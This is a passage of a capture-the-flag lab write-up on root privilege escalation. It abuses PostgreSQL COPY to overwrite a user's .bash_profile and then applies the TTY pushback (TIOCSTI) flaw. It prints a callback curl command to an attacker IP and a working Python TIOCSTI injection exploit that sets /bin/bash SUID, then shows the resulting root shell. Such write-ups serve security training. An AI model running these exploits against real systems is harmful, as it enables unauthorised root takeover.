There are some queries we can use. I will use the COPY (SELECT '(file content)') to '(file directory path)' approach.

First, we will attempt to make the Postgres user send us an HTTP request using the curl command to a server that we will be hosting on our attacker machine.

Let's set up our HTTP Server on port 80:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Now, let's write the .bash_profile file in the Postgres home directory:

download=> COPY (SELECT 'curl 10.10.16.7') TO '/var/lib/postgresql/.bash_profile';
COPY 1
download=>
Now, if we list the contents of the /var/lib/postgresql directory, the .bash_profile file with the new content will be present:

wesley@download:~/privesc$ ls -la /var/lib/postgresql/
total 20
drwxr-xr-x  3 postgres postgres 4096 Nov 21 12:19 .
drwxr-xr-x 41 root     root     4096 Jul 19 16:06 ..
drwxr-xr-x  3 postgres postgres 4096 Apr 21  2023 12
-rw-------  1 postgres postgres    5 Nov 21 12:19 .bash_history
-rw-r--r--  1 postgres postgres   16 Nov 21 12:19 .bash_profile
wesley@download:~/privesc$
wesley@download:~/privesc$ cat /var/lib/postgresql/.bash_profile
curl 10.10.16.7
wesley@download:~/privesc$
After a while, we receive the HTTP request on our HTTP Server:

elswix@kali$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.11.226 - - [21/Nov/2023 09:25:13] "GET / HTTP/1.1" 200 -
We're running commands as the Postgres user. At this point, we could gain access to the system as Postgres, but it's not necessary for this machine.


TTY Pushback


After thorough research, I came across with the TTY Pushback vulnerability.

Since 1985, there has been a security issue known as "TTY pushbash." This issue has been intermittently discussed over the decades, with some indications that it is now being addressed in certain Linux distributions.

When a privileged process executes the 'su' command without the -P/--pty option, the new process operates within the same pseudo-terminal (PTY) as the old one. The vulnerability lies in an IOCTL target called TIOCSTI, which enables the injection of bytes into the input queue of the TTY (or PTY).

In practical terms, if an attacker can execute commands as a lower-privileged user while a higher-privileged user transitions to that lower-privileged state, they can subsequently run commands as the higher-privileged user. This occurs when the attacker has the ability to write to a script that executes during login (such as .profile). When the privileged user employs 'su -' (or 'su -l'), these commands within the script will be executed with elevated privileges.

I also found information on how to exploit it in the following article. We could use this information to exploit the vulnerability, as it includes a Python exploit.

Here is the exploit created by the article author:

#!/usr/bin/env python3
import fcntl
import termios
import os
import sys
import signal

os.kill(os.getppid(), signal.SIGSTOP)

for char in sys.argv[1] + '\n':
    fcntl.ioctl(0, termios.TIOCSTI, char)
I modified it to make it work on the victim machine:

import fcntl
import os
import termios

def main():

    x = "exit\n/bin/bash -c 'chmod u+s /bin/bash'\n"
    for char in x:
        try:
            ret = fcntl.ioctl(0, termios.TIOCSTI, char)
            if ret == -1:
                print("ioctl()")
        except OSError as e:
            print(f"ioctl(): {e}")



if __name__ == "__main__":
    main()
If all works well, after executing this exploit, the /bin/bash will become Set-UID, and we will be able to use the -p parameter to run commands as root.

Let's copy the exploit to the /dev/shm directory:

wesley@download:~/privesc$ cp exploit.py /dev/shm
Now, let's modify the .bash_profile of the Postgres user:

download=> COPY (SELECT 'python3 /dev/shm/exploit.py') TO '/var/lib/postgresql/.bash_profile';
COPY 1
download=>
After a short wait, let's list the privileges of /bin/bash:

wesley@download:~/privesc$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
wesley@download:~/privesc$
It is Set-UID, so let's execute bash -p and subsequently read the last flag:

wesley@download:~/privesc$ bash -p
bash-5.0# cd /root
bash-5.0# cat root.txt
fb5e5**********************96b50
bash-5.0#